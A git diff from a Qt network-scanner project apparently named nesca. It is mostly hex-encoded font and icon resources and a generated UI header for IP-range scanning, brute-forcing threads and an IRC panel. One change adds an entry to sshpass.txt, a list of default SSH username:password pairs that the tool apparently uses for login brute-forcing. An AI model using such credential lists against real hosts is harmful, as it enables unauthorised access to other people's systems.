0x4,0x0,0x12,0x4,0x7b,0x0,0x3,0x0,0x1,0xc,0xa,0x0,0x2,0x0,0xc,0x4, + 0x8d,0x0,0x3,0x0,0x1,0xc,0xa,0x0,0x4,0x0,0x12,0x4,0x99,0x0,0x3,0x0, + 0x1,0xc,0xc,0x0,0x2,0x0,0xc,0x4,0xab,0x0,0x3,0x0,0x1,0xc,0xc,0x0, + 0x4,0x0,0x12,0x4,0xb7,0x54,0x79,0x70,0x65,0x66,0x61,0x63,0x65,0x20,0xa9,0x20, + 0x31,0x39,0x39,0x32,0x20,0x46,0x6f,0x6e,0x64,0x65,0x72,0x69,0x61,0x20,0x43,0x61, + 0x72,0x61,0x74,0x74,0x65,0x72,0x69,0x20,0x53,0x76,0x69,0x7a,0x7a,0x65,0x72,0x61, + 0x20,0x57,0x61,0x6c,0x74,0x65,0x72,0x20,0x46,0x72,0x75,0x74,0x74,0x69,0x67,0x65, + 0x72,0x20,0x41,0x2e,0x47,0x2e,0x20,0x44,0x61,0x74,0x61,0x20,0xa9,0x20,0x31,0x39, + 0x39,0x32,0x20,0x55,0x52,0x57,0x2e,0x20,0x50,0x6f,0x72,0x74,0x69,0x6f,0x6e,0x73, + 0x20,0xa9,0x20,0x31,0x39,0x39,0x32,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66, + 0x74,0x20,0x43,0x6f,0x72,0x70,0x2e,0x20,0x41,0x6c,0x6c,0x20,0x72,0x69,0x67,0x68, + 0x74,0x73,0x20,0x72,0x65,0x73,0x65,0x72,0x76,0x65,0x64,0x2e,0x45,0x75,0x72,0x6f, + 0x73,0x74,0x69,0x6c,0x65,0x52,0x65,0x67,0x75,0x6c,0x61,0x72,0x45,0x75,0x72,0x6f, + 0x73,0x74,0x69,0x6c,0x65,0x45,0x75,0x72,0x6f,0x73,0x74,0x69,0x6c,0x65,0x56,0x65, + 0x72,0x73,0x69,0x6f,0x6e,0x20,0x31,0x2e,0x31,0x30,0x45,0x75,0x72,0x6f,0x73,0x74, + 0x69,0x6c,0x65,0x52,0x65,0x67,0x75,0x6c,0x61,0x72,0x45,0x75,0x72,0x6f,0x73,0x74, + 0x69,0x6c,0x65,0x20,0x69,0x73,0x20,0x61,0x20,0x6c,0x69,0x63,0x65,0x6e,0x73,0x65, + 0x64,0x20,0x74,0x72,0x61,0x64,0x65,0x6d,0x61,0x72,0x6b,0x20,0x6f,0x66,0x20,0x46, + 0x6f,0x6e,0x64,0x65,0x72,0x69,0x61,0x20,0x43,0x61,0x72,0x61,0x74,0x74,0x65,0x72, + 0x69,0x20,0x53,0x76,0x69,0x7a,0x7a,0x65,0x72,0x61,0x20,0x57,0x61,0x6c,0x74,0x65, + 0x72,0x20,0x46,0x72,0x75,0x74,0x74,0x69,0x67,0x65,0x72,0x20,0x41,0x2e,0x47,0x2e, + 0x0,0x6e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75, + 0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x53, + 0x0,0x74,0x0,0x61,0x0,0x6e,0x0,0x64,0x0,0x61,0x0,0x72,0x0,0x64,0x0,0x45, + 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, + 0x0,0x54,0x0,0x79,0x0,0x70,0x0,0x65,0x0,0x66,0x0,0x61,0x0,0x63,0x0,0x65, + 0x0,0x20,0x0,0xa9,0x0,0x20,0x0,0x31,0x0,0x39,0x0,0x39,0x0,0x32,0x0,0x20, + 0x0,0x46,0x0,0x6f,0x0,0x6e,0x0,0x64,0x0,0x65,0x0,0x72,0x0,0x69,0x0,0x61, + 0x0,0x20,0x0,0x43,0x0,0x61,0x0,0x72,0x0,0x61,0x0,0x74,0x0,0x74,0x0,0x65, + 0x0,0x72,0x0,0x69,0x0,0x20,0x0,0x53,0x0,0x76,0x0,0x69,0x0,0x7a,0x0,0x7a, + 0x0,0x65,0x0,0x72,0x0,0x61,0x0,0x20,0x0,0x57,0x0,0x61,0x0,0x6c,0x0,0x74, + 0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x46,0x0,0x72,0x0,0x75,0x0,0x74,0x0,0x74, + 0x0,0x69,0x0,0x67,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x41,0x0,0x2e,0x0,0x47, + 0x0,0x2e,0x0,0x20,0x0,0x44,0x0,0x61,0x0,0x74,0x0,0x61,0x0,0x20,0x0,0xa9, + 0x0,0x20,0x0,0x31,0x0,0x39,0x0,0x39,0x0,0x32,0x0,0x20,0x0,0x55,0x0,0x52, + 0x0,0x57,0x0,0x2e,0x0,0x20,0x0,0x50,0x0,0x6f,0x0,0x72,0x0,0x74,0x0,0x69, + 0x0,0x6f,0x0,0x6e,0x0,0x73,0x0,0x20,0x0,0xa9,0x0,0x20,0x0,0x31,0x0,0x39, + 0x0,0x39,0x0,0x32,0x0,0x20,0x0,0x4d,0x0,0x69,0x0,0x63,0x0,0x72,0x0,0x6f, + 0x0,0x73,0x0,0x6f,0x0,0x66,0x0,0x74,0x0,0x20,0x0,0x43,0x0,0x6f,0x0,0x72, + 0x0,0x70,0x0,0x2e,0x0,0x20,0x0,0x41,0x0,0x6c,0x0,0x6c,0x0,0x20,0x0,0x72, + 0x0,0x69,0x0,0x67,0x0,0x68,0x0,0x74,0x0,0x73,0x0,0x20,0x0,0x72,0x0,0x65, + 0x0,0x73,0x0,0x65,0x0,0x72,0x0,0x76,0x0,0x65,0x0,0x64,0x0,0x2e,0x0,0x45, + 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, + 0x0,0x52,0x0,0x65,0x0,0x67,0x0,0x75,0x0,0x6c,0x0,0x61,0x0,0x72,0x0,0x45, + 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, + 0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c, + 0x0,0x65,0x0,0x56,0x0,0x65,0x0,0x72,0x0,0x73,0x0,0x69,0x0,0x6f,0x0,0x6e, + 0x0,0x20,0x0,0x31,0x0,0x2e,0x0,0x31,0x0,0x30,0x0,0x45,0x0,0x75,0x0,0x72, + 0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x52,0x0,0x65, + 0x0,0x67,0x0,0x75,0x0,0x6c,0x0,0x61,0x0,0x72,0x0,0x45,0x0,0x75,0x0,0x72, + 0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x20,0x0,0x69, + 0x0,0x73,0x0,0x20,0x0,0x61,0x0,0x20,0x0,0x6c,0x0,0x69,0x0,0x63,0x0,0x65, + 0x0,0x6e,0x0,0x73,0x0,0x65,0x0,0x64,0x0,0x20,0x0,0x74,0x0,0x72,0x0,0x61, + 0x0,0x64,0x0,0x65,0x0,0x6d,0x0,0x61,0x0,0x72,0x0,0x6b,0x0,0x20,0x0,0x6f, + 0x0,0x66,0x0,0x20,0x0,0x46,0x0,0x6f,0x0,0x6e,0x0,0x64,0x0,0x65,0x0,0x72, + 0x0,0x69,0x0,0x61,0x0,0x20,0x0,0x43,0x0,0x61,0x0,0x72,0x0,0x61,0x0,0x74, + 0x0,0x74,0x0,0x65,0x0,0x72,0x0,0x69,0x0,0x20,0x0,0x53,0x0,0x76,0x0,0x69, + 0x0,0x7a,0x0,0x7a,0x0,0x65,0x0,0x72,0x0,0x61,0x0,0x20,0x0,0x57,0x0,0x61, + 0x0,0x6c,0x0,0x74,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x46,0x0,0x72,0x0,0x75, + 0x0,0x74,0x0,0x74,0x0,0x69,0x0,0x67,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x41, + 0x0,0x2e,0x0,0x47,0x0,0x2e,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61, + 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, + 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x61, + 0x0,0x6c,0x0,0x69,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74, + 0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61, + 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, + 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c, + 0x0,0x65,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, + 0x0,0x6c,0x0,0x65,0x0,0x53,0x0,0x74,0x0,0x61,0x0,0x6e,0x0,0x64,0x0,0x61, + 0x0,0x61,0x0,0x72,0x0,0x64,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73, + 0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d, + 0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74, + 0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61, + 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, + 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c, + 0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c, + 0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45, + 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, + 0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75, + 0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x0, + 0x2,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x37,0x0,0x82,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1, + 0xe,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x0,0x0,0x0,0x24,0x0,0x25,0x0, + 0x26,0x0,0x27,0x0,0x28,0x0,0x29,0x0,0x2a,0x0,0x2b,0x0,0x2c,0x0,0x2d,0x0, + 0x2e,0x0,0x2f,0x0,0x30,0x0,0x31,0x0,0x32,0x0,0x33,0x0,0x34,0x0,0x35,0x0, + 0x36,0x0,0x37,0x0,0x38,0x0,0x39,0x0,0x3a,0x0,0x3b,0x0,0x3c,0x0,0x3d,0x0, + 0x90,0x0,0xb0,0x0,0x91,0x0,0x64,0x0,0x44,0x0,0x45,0x0,0x46,0x0,0x47,0x0, + 0x48,0x0,0x49,0x0,0x4a,0x0,0x4b,0x0,0x4c,0x0,0x4d,0x0,0x4e,0x0,0x4f,0x0, + 0x50,0x0,0x51,0x0,0x52,0x0,0x53,0x0,0x54,0x0,0x55,0x0,0x56,0x0,0x57,0x0, + 0x58,0x0,0x59,0x0,0x5a,0x0,0x5b,0x0,0x5c,0x0,0x5d,0x0,0xa0,0x0,0xb1,0x0, + 0xa1,0x0,0x89,0x0,0xd7,0x0,0xc0,0x0,0xc1,0x0,0x6f,0x0,0x14,0x0,0x15,0x0, + 0x16,0x0,0x17,0x0,0x18,0x0,0x19,0x0,0x1a,0x0,0x1b,0x0,0x1c,0x0,0x13,0x0, + 0x85,0x0,0x7,0x0,0x84,0x0,0xa6,0x0,0x96,0x0,0x11,0x0,0x1d,0x1,0x2,0x0, + 0xab,0x0,0xf,0x0,0x1e,0x0,0xb6,0x0,0xb5,0x0,0xb4,0x0,0xc5,0x0,0x4,0x0, + 0xa3,0x0,0x22,0x0,0xa2,0x0,0xaa,0x0,0xa9,0x0,0xbf,0x0,0xbe,0x0,0x12,0x0, + 0x10,0x0,0xb2,0x0,0xb3,0x0,0xb,0x0,0xc,0x0,0x3e,0x0,0x40,0x0,0x9,0x0, + 0x86,0x0,0x82,0x0,0xc2,0x0,0xd,0x0,0xa,0x0,0x5,0x0,0x23,0x0,0x6,0x0, + 0x83,0x0,0xe,0x0,0xb8,0x0,0x20,0x0,0x8c,0x0,0x88,0x0,0xbd,0x0,0xc4,0x0, + 0xb7,0x0,0x5e,0x0,0x60,0x0,0x9d,0x0,0x9e,0x0,0x93,0x0,0xbc,0x0,0x8,0x0, + 0xc6,0x0,0x3f,0x0,0x8e,0x0,0xdc,0x0,0xdd,0x0,0x8d,0x0,0x43,0x0,0xd8,0x0, + 0xe1,0x0,0xdb,0x0,0xd9,0x0,0xdf,0x0,0xde,0x0,0xe0,0x1,0x3,0x0,0x8b,0x0, + 0x8a,0x0,0x87,0x0,0xb9,0x1,0x4,0x0,0x8f,0x0,0xa5,0x0,0x9c,0x0,0xa7,0x0, + 0x1f,0x0,0x21,0x0,0x94,0x0,0x95,0x0,0xa4,0x0,0x92,0x0,0x9a,0x0,0x99,0x0, + 0x98,0x0,0x41,0x0,0x5f,0x0,0x42,0x0,0x9b,0x0,0x61,0x0,0x97,0x0,0x9f,0x0, + 0x62,0x0,0xc9,0x0,0xad,0x0,0xc7,0x0,0xae,0x0,0x63,0x0,0xca,0x0,0x65,0x0, + 0xcb,0x0,0xc8,0x0,0xce,0x0,0xcc,0x0,0xcf,0x0,0xcd,0x0,0x66,0x0,0x67,0x0, + 0xd0,0x0,0xd3,0x0,0xd1,0x0,0xaf,0x0,0x68,0x0,0xd4,0x0,0xd6,0x0,0xd5,0x0, + 0xbb,0x0,0x6c,0x0,0x69,0x0,0x6a,0x0,0x6b,0x0,0x6d,0x0,0x6e,0x0,0x73,0x0, + 0x70,0x0,0x71,0x0,0x72,0x0,0x77,0x0,0x74,0x0,0x75,0x0,0x76,0x0,0x78,0x0, + 0x7c,0x0,0x79,0x0,0x7a,0x0,0x7b,0x0,0x7d,0x0,0x81,0x0,0x7e,0x0,0x7f,0x0, + 0x80,0x0,0xba,0x0,0xe9,0x0,0xed,0x0,0xea,0x0,0xee,0x0,0xf1,0x0,0xf2,0x0, + 0xf3,0x0,0xf0,0x0,0xf4,0x0,0xf5,0x0,0xf6,0x0,0xe8,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x0,0xe4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0xeb,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xe5,0x0,0xec,0xe,0x70,0x65, + 0x72,0x69,0x6f,0x64,0x63,0x65,0x6e,0x74,0x65,0x72,0x65,0x64,0x6,0x6d,0x61,0x63, + 0x72,0x6f,0x6e,0x5,0x44,0x65,0x6c,0x74,0x61,0x0,0x0,0x40,0xa,0x3,0x3,0x2, + 0x2,0x1,0x1,0x0,0x0,0x0,0x30,0xb8,0x1,0x24,0x85,0x1d,0x13,0x0,0x3f,0x3f, + 0x3f,0x3f,0x1, + // /home/kvs/Documents/CProjects/nesca/nesca.ico + 0x0,0x0,0x0,0x91, + 0x0, + 0x0,0x4,0x7e,0x78,0x9c,0x63,0x60,0x60,0x4,0x42,0x1,0x1,0x6,0x20,0xa9,0xc0, + 0x90,0xc1,0xc2,0xc0,0x20,0xc6,0xc0,0xc0,0xa0,0x1,0xc4,0x40,0x21,0xa0,0x8,0x44, + 0x1c,0x6,0x84,0xb9,0x21,0x98,0x0,0xf8,0x8f,0x3,0x93,0xab,0x8f,0x18,0x73,0x50, + 0xd4,0xa0,0x3,0x2,0x66,0xe0,0xd4,0x47,0xc0,0x1c,0x14,0xfd,0xb8,0xd4,0xe2,0x31, + 0x3,0xa7,0xdd,0x24,0xfa,0x5,0xbb,0xbd,0xeb,0x70,0xfb,0x9,0x97,0x7e,0x64,0xbd, + 0x30,0xfd,0xc4,0x60,0x6a,0xe9,0x27,0xd7,0xfd,0x14,0x84,0x1f,0xa5,0xf1,0x47,0x8d, + 0xf4,0xc3,0xc0,0x80,0xc7,0x2f,0x38,0xfc,0x8b,0xd,0x50,0x92,0x7f,0x88,0x31,0x7, + 0x3,0xfc,0x90,0x67,0x60,0x78,0xc0,0xce,0xc0,0x70,0x80,0x99,0x81,0xa1,0x81,0x11, + 0x82,0x71,0x1,0x98,0x3c,0x48,0x2d,0x48,0xf,0x48,0x2f,0x0,0xc0,0xb0,0xbf,0x70, + + +}; + +static const unsigned char qt_resource_name[] = { + // nesca_3 + 0x0,0x7, + 0x4,0xc9,0x97,0xc3, + 0x0,0x6e, + 0x0,0x65,0x0,0x73,0x0,0x63,0x0,0x61,0x0,0x5f,0x0,0x33, + // Eurostile.ttf + 0x0,0xd, + 0x9,0xb6,0x8f,0xc6, + 0x0,0x45, + 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x2e,0x0,0x74,0x0,0x74,0x0,0x66, + // nesca.ico + 0x0,0x9, + 0x9,0x94,0xa6,0x1f, + 0x0,0x6e, + 0x0,0x65,0x0,0x73,0x0,0x63,0x0,0x61,0x0,0x2e,0x0,0x69,0x0,0x63,0x0,0x6f, + +}; + +static const unsigned char qt_resource_struct[] = { + // : + 0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x1, + // :/nesca_3 + 0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x2, + // :/nesca_3/nesca.ico + 0x0,0x0,0x0,0x34,0x0,0x1,0x0,0x0,0x0,0x1,0x0,0x0,0x94,0xe8, + // :/nesca_3/Eurostile.ttf + 0x0,0x0,0x0,0x14,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0, + +}; + +QT_BEGIN_NAMESPACE + +extern Q_CORE_EXPORT bool qRegisterResourceData + (int, const unsigned char *, const unsigned char *, const unsigned char *); + +extern Q_CORE_EXPORT bool qUnregisterResourceData + (int, const unsigned char *, const unsigned char *, const unsigned char *); + +QT_END_NAMESPACE + + +int QT_MANGLE_NAMESPACE(qInitResources_nesca_3)() +{ + QT_PREPEND_NAMESPACE(qRegisterResourceData) + (0x01, qt_resource_struct, qt_resource_name, qt_resource_data); + return 1; +} + +Q_CONSTRUCTOR_FUNCTION(QT_MANGLE_NAMESPACE(qInitResources_nesca_3)) + +int QT_MANGLE_NAMESPACE(qCleanupResources_nesca_3)() +{ + QT_PREPEND_NAMESPACE(qUnregisterResourceData) + (0x01, qt_resource_struct, qt_resource_name, qt_resource_data); + return 1; +} + +Q_DESTRUCTOR_FUNCTION(QT_MANGLE_NAMESPACE(qCleanupResources_nesca_3)) + diff --git a/sshpass.txt b/sshpass.txt index 5c6c017..9589491 100644 --- a/sshpass.txt +++ b/sshpass.txt @@ -22,4 +22,5 @@ admin:123123 admin:654321 root:password admin:pasword -test:test \ No newline at end of file +test:test +root:1qazXSW@ diff --git a/ui_nesca_3.h~ b/ui_nesca_3.h~ new file mode 100644 index 0000000..796e908 --- /dev/null +++ b/ui_nesca_3.h~ @@ -0,0 +1,1596 @@ +/******************************************************************************** +** Form generated from reading UI file 'nesca_3.ui' +** +** Created by: Qt User Interface Compiler version 5.3.2 +** +** WARNING! All changes made in this file will be lost when recompiling UI file! +********************************************************************************/ + +#ifndef UI_NESCA_3_H +#define UI_NESCA_3_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +QT_BEGIN_NAMESPACE + +class Ui_nesca_3Class +{ +public: + QWidget *centralWidget; + QWidget *widget; + QTabWidget *tabMainWidget; + QWidget *tab_4; + QPushButton *startScanButton_3; + QLineEdit *ipLine; + QLineEdit *portLine; + QLineEdit *threadLine; + QLabel *labelIPRange; + QLabel *labelIPPorts; + QLabel *labelIPThreads; + QLabel *labelIPTO; + QLineEdit *iptoLine_value; + QPushButton *restoreDefaultPorts1; + QWidget *tab_5; + QLineEdit *lineEditStartIPDNS; + QPushButton *startScanButton_4; + QLineEdit *lineILVL; + QLineEdit *lineEditPort; + QLineEdit *lineEditThread; + QLabel *labelDNSRange; + QLabel *labelDNSPorts; + QLabel *labelDNSThreads; + QLabel *labelIPTO_2; + QLineEdit *iptoLine_value_2; + QPushButton *restoreDefaultPorts2; + QWidget *tab_6; + QPushButton *importButton; + QLabel *labelIpRange_9; + QLineEdit *importThreads; + QLineEdit *importPorts; + QLabel *labelDNSThreads_2; + QLabel *labelDNSPorts_2; + QLabel *labelIPTO_3; + QLineEdit *iptoLine_value_3; + QPushButton *restoreDefaultPorts3; + QGraphicsView *pbgv; + QWidget *tab; + QCheckBox *trackerOnOff; + QLineEdit *lineTrackerScr; + QLineEdit *lineTrackerSrv; + QLineEdit *linePersKey; + QLineEdit *trcSrvPortLine; + QPushButton *checkKeyBut; + QCheckBox *pingingOnOff; + QLineEdit *PingTO; + QLabel *label; + QLineEdit *threadDelayBox; + QLabel *label_2; + QLabel *MaxBrutingThrLabel; + QLineEdit *maxBrutingThrBox; + QCheckBox *shuffle_onoff; + QLineEdit *systemProxyIP; + QLineEdit *systemProxyPort; + QLabel *labelNesca_3; + QFrame *line; + QPushButton *exitButton; + QLabel *labelIpRange; + QLabel *labelThreads; + QLabel *labelBaThreads; + QLabel *labelIpRange_Value; + QLabel *labelThreads_Value; + QLabel *labelBAThreads_Value; + QLabel *labelIPS; + QLabel *labelIPS_Value; + QTextBrowser *dataText; + QLabel *labelParsed; + QLabel *labelParsed_Value; + QLabel *labelStatus; + QLabel *labelStatus_Value; + QLabel *labelTargetsLeft; + QLabel *labelTargetsLeft_Value; + QFrame *line_2; + QGraphicsView *graphicLog; + QLabel *RedLabel; + QLabel *YellowLabel; + QLabel *GreenLabel; + QLabel *BlueLabel; + QLabel *CyanLabel; + QLabel *PinkLabel; + QLabel *labelAnomaly; + QLabel *labelBA; + QLabel *labelFiltered; + QLabel *labelBads; + QLabel *labelOverloads; + QLabel *labelLowloads; + QPushButton *logoLabel; + QLabel *WhiteLabel; + QLabel *labelAlives; + QGraphicsView *graphicLog_2; + QPushButton *me2ScanBut; + QPushButton *QoSScanBut; + QGraphicsView *graphicDelim; + QGraphicsView *graphicLog_Upper; + QLabel *labelBadAddr; + QLabel *labelOffline_Value; + QTextBrowser *BAText; + QPushButton *switcherBut; + QLabel *labelTracker; + QGraphicsView *graphicActivityGrid; + QGraphicsView *graphicActivity; + QGraphicsView *graphicTextPlacer; + QPushButton *VoiceScanBut; + QGraphicsView *graphicsVoice; + QPushButton *clearLogBut; + QPushButton *secretMessageBut_1; + QPushButton *secretMessageBut_2; + QPushButton *secretMessageBut_3; + QPushButton *secretMessageBut_4; + QPushButton *secretMessageBut_5; + QPushButton *secretMessageBut_6; + QPushButton *secretMessageBut_7; + QPushButton *secretMessageBut_8; + QLabel *newMessageLabel; + QPushButton *PieStatBut; + QPushButton *trayButton; + QLabel *DredLabel; + QLabel *labelSSH; + QLabel *rVerLabel; + QLabel *NSTrackStatusLabel; + QWidget *widgetIRC; + QLineEdit *ircServerBox; + QLineEdit *shoutBox; + QLineEdit *serverPortBox; + QLineEdit *ircNickBox; + QPushButton *IRCConnectBut; + QTextBrowser *ircText; + QLineEdit *ircProxy; + QLineEdit *ircProxyPort; + QPushButton *IRCCheckProxyBut; + QTextBrowser *ircRaw; + QPushButton *nickShowBut; + QListWidget *nickList; + QLineEdit *topicLine; + QPushButton *IRCUTFMode; + QPushButton *IRCCP1251Mode; + QLabel *labelIPRange_2; + QLabel *labelIPRange_3; + QLabel *labelIPRange_4; + QLabel *labelIPRange_5; + QWidget *widgetJOB; + QGraphicsView *jobRangeVisual; + QTableWidget *jobIPContractsTable; + QTableWidget *jobIPWantedTable; + QPushButton *DataflowModeBut; + QPushButton *IRCModeBut; + QPushButton *JobModeBut; + QPushButton *IRCModeChangerBut; + + void setupUi(QMainWindow *nesca_3Class) + { + if (nesca_3Class->objectName().isEmpty()) + nesca_3Class->setObjectName(QStringLiteral("nesca_3Class")); + nesca_3Class->resize(500, 800); + nesca_3Class->setMinimumSize(QSize(500, 400)); + nesca_3Class->setMaximumSize(QSize(500, 800)); + nesca_3Class->setMouseTracking(true); + nesca_3Class->setAcceptDrops(true); + QIcon icon; + icon.addFile(QStringLiteral(":/nesca_3/Z:/nesca.ico"), QSize(), QIcon::Normal, QIcon::Off); + nesca_3Class->setWindowIcon(icon); + nesca_3Class->setWindowOpacity(1); +#ifndef QT_NO_TOOLTIP + nesca_3Class->setToolTip(QStringLiteral("")); +#endif // QT_NO_TOOLTIP + nesca_3Class->setStyleSheet(QStringLiteral("background-color: rgba(49, 49, 49,0);")); + nesca_3Class->setWindowFilePath(QStringLiteral("")); + centralWidget = new QWidget(nesca_3Class); + centralWidget->setObjectName(QStringLiteral("centralWidget")); + widget = new QWidget(centralWidget); + widget->setObjectName(QStringLiteral("widget")); + widget->setGeometry(QRect(0, 0, 500, 800)); + widget->setFocusPolicy(Qt::NoFocus); + widget->setStyleSheet(QStringLiteral("background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));")); + tabMainWidget = new QTabWidget(widget); + tabMainWidget->setObjectName(QStringLiteral("tabMainWidget")); + tabMainWidget->setEnabled(true); + tabMainWidget->setGeometry(QRect(10, 50, 481, 161)); + QFont font; + font.setFamily(QStringLiteral("Eurostile")); + font.setPointSize(10); + tabMainWidget->setFont(font); + tabMainWidget->setStyleSheet(QStringLiteral("border: 0.4px solid #818181;background-color: rgba(2, 2, 2, 0);")); + tabMainWidget->setTabPosition(QTabWidget::North); + tabMainWidget->setTabShape(QTabWidget::Rounded); + tabMainWidget->setElideMode(Qt::ElideMiddle); + tabMainWidget->setUsesScrollButtons(false); + tabMainWidget->setDocumentMode(true); + tabMainWidget->setTabsClosable(false); + tabMainWidget->setMovable(false); + tab_4 = new QWidget(); + tab_4->setObjectName(QStringLiteral("tab_4")); + startScanButton_3 = new QPushButton(tab_4); + startScanButton_3->setObjectName(QStringLiteral("startScanButton_3")); + startScanButton_3->setGeometry(QRect(190, 110, 75, 23)); + QFont font1; + font1.setFamily(QStringLiteral("Eurostile")); + startScanButton_3->setFont(font1); + startScanButton_3->setStyleSheet(QStringLiteral("")); + ipLine = new QLineEdit(tab_4); + ipLine->setObjectName(QStringLiteral("ipLine")); + ipLine->setGeometry(QRect(110, 20, 221, 20)); + QFont font2; + font2.setFamily(QStringLiteral("Eurostile")); + font2.setPointSize(9); + ipLine->setFont(font2); + ipLine->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + ipLine->setMaxLength(31); + ipLine->setAlignment(Qt::AlignCenter); + portLine = new QLineEdit(tab_4); + portLine->setObjectName(QStringLiteral("portLine")); + portLine->setGeometry(QRect(110, 50, 221, 20)); + QFont font3; + font3.setFamily(QStringLiteral("Eurostile")); + font3.setPointSize(8); + portLine->setFont(font3); + portLine->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + portLine->setMaxLength(4096); + threadLine = new QLineEdit(tab_4); + threadLine->setObjectName(QStringLiteral("threadLine")); + threadLine->setGeometry(QRect(110, 80, 51, 20)); + threadLine->setFont(font2); + threadLine->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + threadLine->setMaxLength(3); + threadLine->setAlignment(Qt::AlignCenter); + labelIPRange = new QLabel(tab_4); + labelIPRange->setObjectName(QStringLiteral("labelIPRange")); + labelIPRange->setGeometry(QRect(40, 20, 61, 20)); + QFont font4; + font4.setFamily(QStringLiteral("Eurostile")); + font4.setPointSize(8); + font4.setBold(false); + font4.setItalic(false); + font4.setWeight(50); + font4.setKerning(false); + labelIPRange->setFont(font4); + labelIPRange->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPPorts = new QLabel(tab_4); + labelIPPorts->setObjectName(QStringLiteral("labelIPPorts")); + labelIPPorts->setGeometry(QRect(54, 50, 34, 20)); + labelIPPorts->setFont(font4); + labelIPPorts->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPThreads = new QLabel(tab_4); + labelIPThreads->setObjectName(QStringLiteral("labelIPThreads")); + labelIPThreads->setGeometry(QRect(40, 80, 61, 20)); + labelIPThreads->setFont(font4); + 